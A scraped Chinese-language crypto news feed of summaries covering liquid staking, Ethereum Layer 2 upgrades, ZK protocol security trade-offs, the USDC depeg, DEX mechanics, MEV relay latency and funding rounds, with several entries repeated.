    Chainfeeds 导读： Forj Network 研究员 Wayne Zhang 发布报告，从数据端观察以太坊之外的其他公链生态的 LSD 发展情况及玩法，并探讨数据背后对 LSD 行业影响，以及关于 LSD 产品设计，正义性的讨论。调研公链包括：BNB Chain、Cardano、Polygon 等 Coingecko MC 中排名前 25 的部分公链。 文章来源： https://mirror.xyz/0x24E3cff51F88862c3C7279da7a398fF70eC22A09/U404-ffK-pJwgSDOEFfRIV530gHAJ21A8IchroE-2Xs 文章作者： Wayne Zhang 观点： Wayne Zhang：1）从 Lido，Stader，Bifrost 等 LSD 的多链规划中可以看出，LSD 业务多链化是一个必然趋势；2）很多 LSD 项目的 UI/UX 体验较差；3）CEX 是一个绝不能忽略的因素，作为 Web3 最大的流量入口和各种 Token 的汇集地，除流动性外也将影响 token 投机者对 LSD 赛道的更多关注； 内容来源 Wayne Zhang：4）Aptos 主网上线后部分 LSD 协议停摆提醒我们注意接下来即将上线的新 L1s/L2s 生态中的 LSD 协议，选择能持续经营的项目投入资产；5）最近 FVM 上线，SFT，MFIL，STFIL，HashMix 等 LSD 方案已经准备上线。LSD 已成公链必备 DeFi 协议； 内容来源 Wayne Zhang：6）通过 LSD 赚取奖励分成，或接入 LSD Pool 以及 LSD DeFi 产品提供真实收益，对于综合性 DeFi 来讲，LSD 业务或许会成为老 DeFi 的收入新增长点；7）MetaMask 在一月宣布开放以太坊质押功能，目前属于 Beta 测试版。而在 Cosmos，Keplr 钱包则是很多人质押资产的入口，Cardano 上也有类似的质押 SPO 的钱包入口，LSDFi 项目或许可以把合作对象放在钱包端。 内容来源  ( 7 min )
    【英文长推】盘点 6 个推动以太坊及 L2 更接近大规模采用的催化剂
    Chainfeeds 导读： 推特 DeFi 研究员 The DeFi Investor 盘点了 2023 年以太坊生态系统即将发生的 6 件重要事项，或将推动以太坊及 L2 更接近大规模采用，包括：Eigenlayer、上海升级、Optimism Bedrock 升级、Arbitrum Stylus 升级、zkEVM 和 Proto-danksharding。 文章来源： https://twitter.com/TheDeFinvestor/status/1640736066876440577 文章作者： The DeFi Investor 观点： The DeFi Investor：1）Eigenlayer 主网：将于第三季度推出。Eigenlayer 正在构建一个市场，ETH 节点运营商可以选择提供额外费用的服务，甚至可以为侧链甚至非 EVM 网络等网络提供验证，任何项目都可以利用 Eigenlayer 的技术。即将推出的模块化 L2 项目 Mantle 就使用了 EigenLayer 的数据可用性解决方案；【原文为英文】 内容来源 The DeFi Investor：2）以太坊上海升级：将于 2023 年 4 月启动，届时将启用 ETH 质押提款。该升级将设置取款队列，防止所有人一次性取回其质押的 ETH。此外，似乎只有不到 50% 的 ETH 质押者处于盈利状态，因此不太可能导致大规模 ETH 抛售；3）Optimism Bedrock 升级：将于 2023 年第二季度启动，将使 Optimism 上的平均交易费用降低，存款速度更快，还将使 Optimism 能够整合 ZK 证明，更加安全；【原文为英文】 内容来源 The DeFi Investor：4）Arbitrum Stylus 升级：将允许在 Arbitrum 上部署使用 Rust 和 C++ 等编程语言编写的程序，使其成为第一个支持多种编程语言的 L2，且更具可扩展性；5）zkEVMs：zksync 和 Polygon 已经推出了 zkEVM 主网，Consensys 和 Taiko 预计也将在今年晚些时候推出；6）Proto-danksharding：将为以太坊引入一种新的交易类型，大幅降低 L2 的交易费用，使以太坊 L2 更具可扩展性，且更适合散户投资者。【原文为英文】 内容来源  ( 2 min )
    隐私公链 Iron Fish 公布代币经济模型，创世区块将释放 4200 万枚代币
    隐私公链 Iron Fish 公布代币经济模型，创世区块将释放 4200 万枚代币 隐私公链 Iron Fish 公布代币经济模型，将在主网上线的创世区块中释放 4200 万枚代币，代币总供应量上限为 256,970,400 枚。最初释放的 4200 万枚代币中，测试网空投占比 2.25%；未来空投占比 2.25%；Pre-Seed 轮投资者占比 5.1%；种子轮投资者占比 9.9%；A 轮投资者占比 14.5%；顾问占比 0.6%；核心团队占比 37.4%；IF Labs 占比 5%；用于未来捐赠的代币占比 5%；Iron Fish 基金会占比 18%。包括投资者、顾问和员工在内的内部人员分配的代币将有 12 个月锁定期，而后分为 12 个月进行释放。 内容来源  ( 4 min )
    OmniChain 的未来：ZetaChain，第一个可实现完全互操作智能合约的公共 Layer1 区块链
    Chainfeeds 导读： 跨链赛道一直是区块链领域关注的重点之一。其中，Omnichain 被许多人认为是跨链的未来。本篇报告由 TokenInsight 与 ZetaChain 合作推出，详细介绍 ZetaChain 的跨链机制，并将现有跨链技术与 ZetaChain 的 Omnichain 功能进行详细对比，阐述 ZetaChain 在技术上的关键创新及目前的生态发展情况。 文章来源： https://tokeninsight.com/zh/research/reports/the-future-of-omnichain-zetachain-a-novel-layer-1-blockchain-enables-fully-interoperable-smart-contracts 文章作者： OxXyystnb 观点： OxXyystnb：为解决现阶段跨链协议的弊端并实现全链跨链功能，ZetaChain 开发了一系列用于跨链资金传递和通用多链编排的工具：Omnichain 智能合约、账户以及消息传递。此外，在验证机制方面，ZetaChain 计划结合中继器和多方验证方案，使用网络内分布式验证节点架构以及阈值签名方案 TSS 验证交易。 内容来源 OxXyystnb：ZetaChain 的跨链通信功能主要靠其网络内的分布式验证节点实现。它计划利用自己网络内的验证节点代替中继器和预言机，帮助验证跨链交易信息并实现喂价功能；Omnichain 账户允许用户连接包括智能合约平台、非智能合约平台在内的全部区块链网络，以实现资金的全链跨链转移。它作为交易的基站，用于管理和验证与外部链相关的交易。具体交易验证由阈值签名方案 TSS 支持； 内容来源 OxXyystnb：借助 Omnichain 智能合约，开发者可以构建不同种类的 Omnichain DApps。仅需通过 ZEVM 在 ZetaChain 网络上部署单个智能合约，即可连接包括 ZetaChain 本身在内的所有目标链。zEVM 上的合约与 ZetaChain 的互操作性层相连，能够协调外部链上的资产，实现链与链之间的资产跨链转移。 内容来源  ( 4 min )
    IOSG 周报：Security vs Trustlessness，ZK 协议在机制上该如何取舍
    Chainfeeds 导读： IOSG 在 ETHDenver 期间举办的以安全为主题的活动，参与嘉宾包括 zkSync 联合创始人 Alex Gluchowski、Scroll 联合创始人和研究负责人 Ye Zhang、Taiko 首席运营官 Matt Finestone、Nil foundation 创始人 Mikhail Komarov 和 Risc0 创始人 Brian R，共同探讨分享了零知识证明协议在机制设计和工程建构上的安全原则与新颖方案，以及在设计过程中的种种权衡。 文章来源： https://mp.weixin.qq.com/s/VLCPzFeHJ1NqL4U7fd_xCA 文章作者： IOSG Ventures 观点： Alex Gluchowski（zkSync 联合创始人）：我认为 Trustless 将增强安全性，这将为我们提供多一重因素的保护。首先，ZK Rollup 必须为每个块提供有效性证明，在此之上，我们还需要通过权益证明共识机制来提供签名。总体来说，这为整个系统提供了两个因素的保护。而且，我们可以在此基础上添加更多因素。到目前为止，我不会相信一个号称完全无需信任的 ZK Rollup 是安全的。我们始终希望至少有两个完全独立的安全因子，来降低故障的概率。 内容来源 Ye Zhang（Scroll 联合创始人）：我认为最终我们将同时去中心化 Sequencer 和 Prover。但是我们有一些略微不同的优先排序，我们希望先将 Prover 去中心化。安全性绝对是重要原因之一。如果先将 Sequencer 去中心化，那在 zkEVM 变得非常成熟稳健之前，如果有人真的发现了一些漏洞并提交了虚假证明，它有一定概率会被 Sequence r 接受并出块，对系统造成破坏。因此，我们会先保留中心化的 Sequencer。我们希望至少在早期阶段通过控制中心化的排序保证正确有效的出块。 内容来源 Matt Finestone（Taiko 首席运营官）：我们将使用 Permissioned Proposer，让任何去中心化的 Prover 提交区块，并得到相应的奖励。另外，如果系统出现故障，一个 Prover 提交了有效性证明，同时也出现了一个不一致的证明被提交，那么智能合约就可以知道并且暂停，也就引发了时间延迟。如 Alex 所说，我们当前无法对完全无需许可、无需信任的实施感到放心，我们要努力实现平衡。 内容来源 Mikhail Komarov （Nil Foundation 创始人 ）：我们采用了一种不同的方法，自下而上来解决问题。我们首先建立了一个去中心化 Prover 网络，无需许可地汇集算力，然后试图在其基础上添加 Sequencer。为了确保所有的证明生成都有一个激励机制来加速完成，并提高质量和保持安全性，我们引入了证明市场（Proof market）来管理所有证明的生成和排序。同时，我们保持了这个系统的去中心化和无需许可性。 内容来源 Brian Retford（Risc0 创始人）：我们采用了一种更无需信任的方式。我们当前没有关注 Sequencing 的问题，而是关注在证明系统上，让它能够更加强健地进行各种运算。这种方法简化了很多复杂性，有利于尽快将最多的计算量投入市场。我们希望降低开发人员的使用门槛，让他们在以太坊或任何系统上建立任何他们想要的应用程序，并拥有这个去中心化的基础计算层，用零知识证明来保证计算的正确性。 内容来源  ( 33 min )
    LD Capital：复盘 USDC 脱锚风波中的危与机
    Chainfeeds 导读： LD Capital 发文探讨在 USDC 脱锚危机中，受影响最大的借贷、交易类协议、去中心化稳定币系统的表现，以及潜在的交易机会。 文章来源： https://ld-capital.medium.com/trend-research-by-ld-capital-复盘usdc脱锚风波中的危与机-a7468ca99db0 文章作者： LD Capital 观点： LD Capital：中心化稳定币：首先使得市场对所有稳定币产生质疑和恐慌抛售，随后其他竞争者有机会抢占其份额。同时，恐慌期间未出风险的稳定币下跌事实上提供了低风险套利机会；去中心化稳定币：以 USDC 为储备金或抵押品的去中心化稳定币（如 DAI、FRAX、MIM 等）期间一起出现大幅度脱锚，伴随清算风险和套利机会。同时，也可能会刺激那些不依赖法币储备金或抵押品的去中心化稳定币（如 sUSD、LUSD、RAI 等）的创新和发展； 内容来源 LD Capital：链上借贷：使用 USDC 作为借贷资产或抵押品的链上借贷平台（如 Aave、Compound 等）出现利率波动、USDT 流动性枯竭或清算事件。同时，默认 USDC 价格为 1 美元的 Compound 面临更大风险；DEX：使用 USDC 作为交易对或流动性池资产的链上 dex（如 Uniswap、Curve 等）出现价格滑点或套利机会。同时，也可能会推动链上 dex 提高其交易效率和灵活性，以适应市场变化。 内容来源 LD Capital：在这次 USDC 脱锚危机中，USDC 的折价给 DeFi 系统一度带来了巨大的不确定性，但随着政府和监管的出手，这一危机逐渐化解。在此过程中，既存在对价格回锚的单向押注；也存在利用机制漏洞进行低风险套利的行为；也存在因为恐慌而错杀的各类资产价格回购的交易；此外，也不能忽视市场大幅波动给杠杆交易、LSD 等应用带来的被动式收入上升，这类应用本身存在 USDC 风险敞口小，反而成为被动受益者。 内容来源  ( 5 min )
    Hypercerts 基金会与 Gitcoin 达成合作：发布有史以来第一个官方超级证书
    Hypercerts 基金会与 Gitcoin 达成合作：发布有史以来第一个官方超级证书 Hypercerts 基金会邀请符合条件的参与 Gitcoin 计划 Alpha 轮的项目，为他们过去的工作铸造一个超级证书，并将其一部分分配给支持者。这是有史以来发布的第一个官方超级证书，使用 ERC-1155 半同质化代币创建，信息存储为 IPFS 元数据，该协议已在 Optimism 上运行。一旦 Gitcoin 计划 Alpha 轮超级证书被铸造出来，任何以至少 1 美元 DAI 的贡献支持项目的人都可以连接并领取他们的分数，分数无法出售或转让。 Hypercerts 是一种新的协议，用于资助和奖励积极影响。每个超级证书都是对工作和由该工作产生的影响的公开声明，项目可以创建超级证书并将其分发给贡献者。Hypercerts 创建一个单一、开放、共享和去中心化的数据库，来追踪影响声明和资助基金。 内容来源  ( 15 min )
    Layer1 公链 Sei 成立 Sei 基金会，处理代币赠款和空投等事项
    Layer1 公链 Sei 成立 Sei 基金会，处理代币赠款和空投等事项 Layer1 公链 Sei 宣布成立 Sei 基金会，作为支持 Sei 生态系统的非营利组织来资助协议开发、发展生态系统，Sei 基金会将处理代币赠款、空投、产品请求、倡议和委托计划等。Sei Labs 团队则继续致力于开发开源软件。 内容来源  ( 2 min )
    【英文长推】FatMan：链上数据揭露疑似币安内部交易
    Chainfeeds 导读： 币安及其 CEO 赵长鹏昨日被美国商品期货交易委员会（CFTC）起诉涉嫌违反交易和衍生品规则，诉讼书中提到币安存在内部交易平台。加密 KOL FatMan 通过追踪链上数据，找到了一个疑似通过提前获取上币信息获利 7 位数的钱包地址。 文章来源： https://twitter.com/FatManTerra/status/1640677879196397571 文章作者： FatMan 观点： FatMan：0xd23 钱包在币安上币 FXS 前 3 天持续购买该代币，并在上币当天将所有 FXS 转账到币安。他的第二个钱包 0x51 在 TVK 上线币安的前 2 天购买了 131 ETH 的 TVK，并在之后的上涨中直接通过 DEX 套现了 277 ETH。【原文为英文】 内容来源 FatMan：内幕交易对散户投资者的影响是隐形但却是至关重要的。一枚本应上涨 20% 的代币可能只会上涨 10%，而且没有人会发现有人正在利用不道德的优势暗中窃取市场优势。币安与次钱包持有人的关系不得而知，但显然此人并没有掩盖自己的操作。【原文为英文】 内容来源 FatMan：积极的一面是区块链是不朽的，交易记录永远不会被抹去。我乐观地认为，在这些交易公开后，币安或执法部门可以迅速对违规者采取行动。为自由和公平的市场干杯。【原文为英文】 内容来源  ( 2 min )
    【英文长推】盘点模块化区块链相关的项目：Eclipse、Nautilus Chai、Celestia...
    Chainfeeds 导读： 单体区块链时代结束，未来将是模块化的。加密货币研究员 Zero Knowledge 认为 Eclipse 和 Nautilus Chain 合作是证明未来区块链是模块化的一个很好的例子，并介绍了模块化区块链相关的项目。 文章来源： https://twitter.com/expctchaos/status/1640730503035891714 文章作者： Zero Knowledge 观点： Zero Knowledge：Eclipse 是一个框架，可让用户在任何链上使用 Solana VM （Sealevel VM）构建可定制的模块化汇总。虽然这允许在 VM 上运行为 Solana 编写的程序，但 Eclipse 并未使用 Solana 来确保安全。【原文为英文】 内容来源 Zero Knowledge：Nautilus Chain 是一个使用 Eclipse 部署的 Optimistic EVM rollup。Nautilus Chain 上的 dApp 包括每天有 20,000 多名活跃用户的支付流协议 Zebec Protocol，Poseidon Swap（DEX）等。【原文为英文】 内容来源 Zero Knowledge：Celestia 是一个模块化的、与链无关的数据可用性层，为 rollup 提供高度可扩展的、去中心化的、便宜的 DA 解决方案，并为 rollup 提供高安全性保障。【原文为英文】 内容来源  ( 2 min )
    【英文长推】新项目前瞻｜专门为 DeFi 打造的 Layer1 协议：Glitch Protocol
    Chainfeeds 导读： 如今大多数的 Layer1 协议都受到了复杂性和可扩展性的限制。其中一个原因是它们试图一次性完成所有事情。Glitch Protocol 是为 DeFi 设计的 Layer1 协议，专注于收入共享和低费用。加密货币 KOL Crypto Nova 从其特点入手介绍了此项目。 文章来源： https://twitter.com/cryptogirlnova/status/1640692065431613443 文章作者： Crypto Nova 观点： Crypto Nova：Glitch Protocol 是一个快速、互操作的区块链协议，专门为 DeFi 打造。GLCH 不再旨在成为万能工具，而是将重点放在去中心化金融应用和无信任货币市场上。Glitch 独特之处在于其收入共享机制。它提供激励开发人员构建高质量的 dApps 以推动采用率，并奖励开发人员、流动性提供者和用户，并确保低费用。除此之外，生态系统具有高度互操作性。【原文为英文】 内容来源 Crypto Nova：Glitch 即将发布其主网，这意味着开发人员可以在他们的区块链上构建并启动 dApp。每个 dApp 都可以为其用户提供更快速、更便宜的交易。Glitch 支持许多不同的编程语言，也提供开发的资金激励。Glitch 还将启动自己的应用程序作为基础。【原文为英文】 内容来源  ( 2 min )
    【英文长推】解读去中心化交易所 Trader Joe 的潜力
    Chainfeeds 导读： 在 ARB 空投后，去中心化交易所 Trader Joe 吸引了约 1600 万美元的流动性，并在一周内从超过 1 亿美元的交易量中产生了巨额交易手续费。加密货币 KOL Tindoor 从流动性簿模式、用户策略等方面解读了 Trader Joe 的潜力并阐述他看好的原因。 文章来源： https://twitter.com/0xtindorr/status/1640794177943506944 文章作者： Tindorr 观点： Tindorr：Trader Joe 上的用户改为在他们喜欢的价格范围内提供流动性，使其称为「流动性簿」，流动性簿将 bins 组合成一个结构，汇总所有 bin 的流动性。用户可以选择要将 LP 提供到任意 bin 里。同时还支持：仓位定制、流动性集中、资本效率、零滑点互换。【原文为英文】 内容来源 Tindorr：Trader Joe 上的 TVL 在过去 7 天内飙升了 256%，成为最近在 Arbitrum 上增长最快的协议之一。此外，他们一直在为 ARB 池提供非常好的 APR。这次 ARB 空投让很多用户意识到了流动性簿的潜力，以及他们在未来可以通过新代币的推出做更多的事情。我预计他们将为该协议提供更多流动性，并最终在 Arbitrum 上进入前 10 TVL。【原文为英文】 内容来源  ( 2 min )
    【长推】一文解析基于 Arbitrum 的去中心化交易所 Trade Joe V2 机制
    Chainfeeds 导读： 最近 Trade Joe V2 因为从 Uniswap 手里抢到大量 Arb 交易份额而火爆，币价迅速翻倍。那么其究竟是如何做到的？为其提供流动性又需要注意些什么？加密货币研究员 CapitalismLab 从 AMM 机制、流动性激励机制、产品优劣势等方面解析了此项目。 文章来源： https://twitter.com/nintendodoomed/status/1640655630267744257 文章作者： CapitalismLab 观点： CapitalismLab：Joe V2 中的 ARB/ETH 20bps 池与 UNI V3 类似，但其根本性不同在于 Joe V2 一个长条（bin）即对应一个单点价格。添加流动性时可以添加单点流动性，相当于在订单簿中放一个 Maker 单，旁边的 Pct Rage = 0.20% 是最小价格精度，基于比例而非固定数值。 内容来源 CapitalismLab：高波动率下的经常性汇率优势 + 相对较低的费率，使得 Joe V2 在 ARB 启动初期获取了大量的份额。目前随着波动率的下降，其汇率也不再有经常性优势；UNI V3 LP 回归 0.05% 费用的池子，也基本失去费率优势，所幸名声打出来了，加上其有不错的激励机制，给了项目方更大的操作空间。 内容来源 CapitalismLab：优势：垂直聚合流动性带来更好的可组合性；高效率 + 支持激励，可以拿到合作方的激励，比如有望受益于 LSD war。劣势：没有成熟的 Bribe 等代币赋能机制，代币持有者收益有限；无常损失相对较大。 内容来源  ( 2 min )
    【英文长推】Messari：从用户数据分析 Layer2 和 EVM 链生态可持续性
    Chainfeeds 导读： 加密研究机构 Messari 从用户增长、留存等数据分析了代表性 Layer2 项目和 EVM 链生态的发展现状和趋势，并从 DEX、投机交易、借贷和 NFT 交易等四个交易类型入手，分别解析了各赛道的用户数据变化和建议的发展方向。 文章来源： https://twitter.com/MessariCrypto/status/1640722925983793154 文章作者： Messari 观点： Messari：作为两个拥有最大用户群体的生态，BNB 链的月度用户增长为 6%，而以太坊的月度用户增长为 -5%。以太坊新用户增长下降可能归因于 Arbitrum 和 Optimism 的崛起，两者的用户增长和留存率都处于行业领先水平。【原文为英文】 内容来源 Messari：随着 L2 网络的持续增长，其他 L1 网络也保持了相关性。在成熟的 EVM 链中，以太坊有大约 5% 的长期用户留存率，主要是因为其原生 DEX 中更深的流动性。成熟的 EVM 链的初始用户群在整个 DEX 中减少，可能是由于对加密货币生态系统失去信心。此外，新兴的 L2 DeFi 生态系统可能已经从基础链上夺走了用户市场份额。【原文为英文】 内容来源 Messari：Arbitrum 和 Optimism 一直保持着高于平均水平的长期用户留存率，他们成功的原因是快速扩张的 DeFi 生态系统和激励。为了持续增长，他们需要在 DeFi 生态中建立一个利基市场，并继续推出原生项目。【原文为英文】 内容来源  ( 2 min )
    一文解答 StarNet 交互的常见问题
    Chainfeeds 导读： 最近很多人在交互 StarkNet ，加密货币 KOL 鉴叔整理了一份关于 StarNet 的常见问题答疑。 文章来源： https://twitter.com/jianshubiji/status/1640656205868830720 文章作者： 鉴叔 观点： 鉴叔：Starkware、Starknet、StarkEx 之间是什么关系 ？Starkware 是背后的公司，Starknet 和 StarkEx 都是 Starkware 公司的产品。相关的融资也都是以 Starkware 的名义进的，StarkWare 在过去 6 轮融资中累计已获得 2.73 亿美元。StarkEx 是一个 Layer2 的扩容引擎，可理解成一个 SAAS 方案，是提供给各个独立 dapps 使用的 ；而 Starknet 是一个以太坊的 Layer2 网络。 内容来源 鉴叔：为什么 Starknet 用起来又贵又慢？目前 Starknet 主网仍然处于 alpha 阶段，性能还没有全部开放。目前的主网版本是 alpha v0.10.3 ，3 月 22 日 Starknet 宣布 alpha v0.11.0 已经在测试网上线，接下来一周预计就会准备上主网。Alpha v0.11.0 这个版本主要是引入 Cairo 1.0 智能合约，并对合约类和交易结构进行了重大改变，能够使得 Starknet 更快更强大。 内容来源 鉴叔：交易失败会扣 gas 吗？比如说一笔交易失败，钱包端显示的是 Failed ，然后我们在浏览器上看到 Status 是 Rejected ，如果是这种状态的话是不会扣 gas 的。关于避免 rejected 状态，一方面是你需要在交易前检查网络是否拥堵，网络中积压的交易是否过多。另外因为一笔交易确认的等待时间较长，并且 DEX 的深度较差，所以如果是进行 swap 的操作，建议拉大滑点以降低交易失败的概率。 内容来源  ( 2 min )
    【英文】中继是一种「延迟游戏」：数据解析延迟对 MEV 生态的影响
    Chainfeeds 导读： 自以太坊合并以来，Flashbots 的 MEV-Boost 已成为构建以太坊区块的主要方法。加密数据研究机构 Metrika 通过数据采样分析了当前区块构建中的延迟问题，及其对  MEV 生态系统中构建者、中继和提议者的影响。 文章来源： https://blog.metrika.co/relays-are-a-latency-game-303aadb393ce 文章作者： Metrika 观点： Metrika：TLDR：我们发现，建设者通常会在 slot 开始后的几毫秒内与中继分享竞价。由于延迟和有限的构建者 - 中继垂直整合，提议者通常不会收到价值最高的区块，但这对他们的收入影响很小。我们相信延迟将在 MEV 供应链中发挥越来越重要的作用。这可能需要开发和采用新的中继模型来应对延迟带来的挑战。【原文为英文】 内容来源 Metrika：延迟的影响：拥有最短延迟的中继可能会在拍卖中更成功，构建者可能会优先将区块提交给少数几个中继，从而导致中继的中心化。通过构建垂直构建者 - 中继集成或投资更好的硬件 / 软件可以改善延迟的问题，也可以选择如 Optimistic Relay 等新的中继模型。【原文为英文】 内容来源  ( 14 min )
    【英文长推】对话 Tangent Ventures 联创：加密叙事、监管与交易策略
    Chainfeeds 导读： 加密 KOL Miles Deutscher 采访了 Tangent Ventures 联合创始人 Wangarian，围绕加密行业最值得关注的叙事、监管、L2 和 ZK 的发展格局、适合小型交易者的最佳策略等话题进行了探讨。本文为 Miles Deutscher 整理的 13 个内容重点。 文章来源： https://twitter.com/milesdeutscher/status/1640696219092815873 文章作者： Thor Hartvigsen 观点： Wangarian：1.ETH 将成为比 BTC 更受欢迎的资产选择；2.ETH 价格去年已经见底，目前处于上升趋势；3. 资本储备是成功的关键；4.FED 加息仍然是非常重要的宏观影响因素；5.Operation Choke Point 2.0（美国监管机构针对加密行业的监管行动）是真实的，亚洲资本和采用将会增加。【原文为英文】 内容来源 Wangarian：6. 尽管监管趋严，但技术将永远战胜监管；7.Narrative Trading 是一项重要的技能，当前加密货币仍然依赖叙事；8.Web3 游戏发展潜力巨大；9.L2/ZK 空间竞争激烈，对用户而言是获得代币激励的好机会。【原文为英文】 内容来源 Wangarian：10. 我们仍然需要一个去中心化的稳定币，FRAX 正在迈出正确的步伐；11. 自我监管仍然是加密货币的最大痛点，当前自我监管对普通民众来说弊大于利；12. 如果资产有限请关注链上，不要碰币安上的任何东西；13. 对市场要有一个长期的、结构性的看法。【原文为英文】 内容来源  ( 2 min )
    解锁参与式媒体：Web3 带来多人创作时代
    Chainfeeds 导读： 新时代参与式媒体的价值将在于多方参与而不是个体的累积。1kx 研究员 Justin McAfee 和 Nichanan Kesonpat 分析了 Web3 中以创作者为中心的产品和服务演变，从 NFT 发布平台、基础设施、开发人员工具到策展经济，他们认为该领域正在朝着多人模式创新。本文由 Foresight News 编译。 文章来源： https://foresightnews.pro/article/detail/29414 文章作者： accel_capital 观点： accel_capital：多人创作是在创意作品的形成、协调、生产、价值分配和发布后演变的全过程中，多人参与一个或多个阶段。「多人参与」是指个人对产品的投入受多个来源影响，这些来源可能存在关系，也可能不存在关系。最终产品是形态不可知的，可以是静态的或动态的。 内容来源 accel_capital：多人创作基础设施：NFT：我们已经看到 NFT 铸造平台的激增；NFT 金融化基础设施的激增为持有者提供了多种途径寻找流动性；创意工具协议化的增加也为 NFT 在社交层面的应用和发展奠定了基础。DAO：去中心化治理中的 DAO 工具和尝试为多人创造的各个阶段提供了肥沃的土壤；链上注册表：注册表数据可以被任何平台或服务引用，并用于任何身份验证、授权和价值分配逻辑。 内容来源 accel_capital：链上共同创造的纯粹尝试：Entropes & Spells：Entropes 是不断发展的 NFT，Spells 是 EIP-5050 的第一次实现，它为 Entropes 增加了另一层交互性；OG.Art：OG Art 最初的铸造者将通过他们的钱包地址和历史「播种」艺术。在「成长期」，随着代币的转移，新的结构和图案被添加到艺术品中。 内容来源
    【英文】探索模块化 IBC：如何共享外部安全性
    Chainfeeds 导读： 除了允许模块化链之间信任最小化的互操作性外，模块化 IBC 还支持共享安全模型。Cosmos 生态扩容研究机构 Polymer 探讨了多个不同路径从外部来源获取安全性的可能性。 文章来源： https://polymerlabs.medium.com/modular-ibc-for-the-modular-world-9fc021f6322e 文章作者： Polymer 观点： Polymer：在模块化区块链堆栈中，链可以从一个或多个外部来源获取安全性。有以下几种共享安全模式：通过链间安全性（例如 Cosmos Hub）从生产者链继承安全性；从通用结算层（例如以太坊）继承安全性；从公共 DA 层（例如 Celestia、EigenDA）继承安全性；从可编程安全提供者（例如 EigenLayer）继承安全性；通过检查点机制（例如 Babylon）从生产者链继承安全性；从重质押和交叉质押中继承安全性（例如 LSD）。【原文为英文】 内容来源  ( 12 min )
    质押协议开发商 EigenLabs 完成 5000 万美元 A 轮融资，Blockchain Capital 领投
    质押协议开发商 EigenLabs 完成 5000 万美元 A 轮融资，Blockchain Capital 领投 据 CoinDesk 报道，以太坊重质押协议 EigenLayer 背后团队 EigenLabs 质押协议开发商 EigenLabs 在 Blockchain Capital 领投的 A 轮融资中筹集了 5000 万美元。这笔资金的到来正值 EigenLabs 准备在今年分阶段推出其 EigenLayer 协议的初始版本之际。该轮融资的其他支持者包括 Electric Capital、Polychain Capital、Hack VC、Finality Capital Partners 和 Coinbase Ventures 等。EigenLabs 上一次筹集资金是在 8 月，由 Polychain Capital 和 Ethereal Ventures 领投，共计 1450 万美元。 内容来源 观点： Sreeram Kannan（Eigenlayer 创始人）：当今加密生态系统中创新的主要瓶颈之一是项目需要引导信任或密码经济安全性，我们开始致力于创建 EigenLayer，希望打造一个新模型，在这个模型中开发者可以轻松消费信任，而不需要建立信任，并设计强大的保证系统，使加密生态系统更安全、更有用。 内容来源 Blockchain Capital：我们十分期待下类协议能够在 EigenLayer 上构建，包括：超大规模的数据可用性层、链外 ZKP 验证协议、增强以太坊抗审查能力的协议、新的预言机机制、跨链桥 / 消息协议、去中心化排序协议以及任何全新的协议。【原文为英文】 内容来源 Viktor Bunin：关于像 EigenLayer 这样的工作代币模型，需要注意三件事：它的生死取决于它提供的服务是否有 PMF；它别无选择，只能拥有一个可持续的费用市场；加密经济激励模型必须真正起作用。【原文为英文】 内容来源  ( 27 min )
    MetaMask：快照空投为不实信息，注意甄别假冒网站
    MetaMask：快照空投为不实信息，注意甄别假冒网站 MetaMask 发推澄清近期空投传闻，称「关于 MetaMask 将于 3 月 31 日进行快照和空投的传言均为不实信息。这些谣言为诈骗者和网络钓鱼者提供了机会」。MetaMask 提醒用户在接下来的时间内注意甄别假冒网站。 内容来源  ( 2 min )
    加密基础设施平台 Conduit 完成 700 万美元种子轮融资，Paradigm 领投
    加密基础设施平台 Conduit 完成 700 万美元种子轮融资，Paradigm 领投 总部位于美国加州的加密基础设施初创公司 Conduit 完成 700 万美元种子轮融资，由 Paradigm 领投，其他投资者包括 Robert Miller、Ludwig Pettersson、Dan Romero、Guillaume Poncin、Joshua Ma 和 Lakshman Sankar。Conduit 第一个产品旨在帮助开发人员快速部署基于 OP Stack 的生产级 rollups。Conduit 将为在其平台上发布的 rollups 提供托管服务，其中包括对 OP Stack 的自动代码更新和未来对 Superchain 的升级。 内容来源 观点： Georgios Konstantopoulos：Conduit 允许你通过几个点击启动一个 OP Stack rollup，提供开箱即用的 tx 追踪和区块链浏览器！所有这些都在 Conduit 现成的基础设施上，这是构建项目自己 rollup 的最简单方法。【原文为英文】 内容来源  ( 9 min )

  • Open

    六大推动以太坊及其二层扩展实现大规模采用的因素
    六大推动以太坊及其二层扩展实现大规模采用的因素 – 深潮TechFlow 撰写：The DeFi Investor Read the full entry  ( 3 min )
    六大推动以太坊及其二层扩展实现大规模采用的因素
    六大推动以太坊及其二层扩展实现大规模采用的因素 – 深潮TechFlow 撰写：The DeFi Investor Read the full entry  ( 3 min )
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则 – 深潮TechFlow Mosdex利用AI、机器学习和深度神经节点，在传统和DeFi市场中优化套利机会，最大化收入生成并为未来增长铺平道路。 Read the full entry  ( 3 min )
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则
    Mosdex：利用AI驱动的套利解决方案改变加密货币权益的游戏规则 – 深潮TechFlow Mosdex利用AI、机器学习和深度神经节点，在传统和DeFi市场中优化套利机会，最大化收入生成并为未来增长铺平道路。 Read the full entry  ( 3 min )
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll – 深潮TechFlow 撰写：Filippo Armani Read the full entry  ( 7 min )
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll
    zkEVM 方案一览：简析zkSync、StarkNet、Polygon zkEVM 、Scroll – 深潮TechFlow 撰写：Filippo Armani Read the full entry  ( 7 min )
    为什么说 AI 正在吞噬 Web3 创作者经济？
    为什么说 AI 正在吞噬 Web3 创作者经济？ – 深潮TechFlow 撰写：Theo Priestley，《未来从现在开始》的作者 Read the full entry  ( 3 min )
    为什么说 AI 正在吞噬 Web3 创作者经济？
    为什么说 AI 正在吞噬 Web3 创作者经济？ – 深潮TechFlow 撰写：Theo Priestley，《未来从现在开始》的作者 Read the full entry  ( 3 min )
    账户抽象：Web3 采用的推动者和游戏规则的改变者
    账户抽象：Web3 采用的推动者和游戏规则的改变者 – 深潮TechFlow 撰写：Gal Ron，stanford blockchain review Read the full entry  ( 4 min )
    账户抽象：Web3 采用的推动者和游戏规则的改变者
    账户抽象：Web3 采用的推动者和游戏规则的改变者 – 深潮TechFlow 撰写：Gal Ron，stanford blockchain review Read the full entry  ( 4 min )

  • Open

    英国财政部：加密货币推广法规或将于今年年底生效
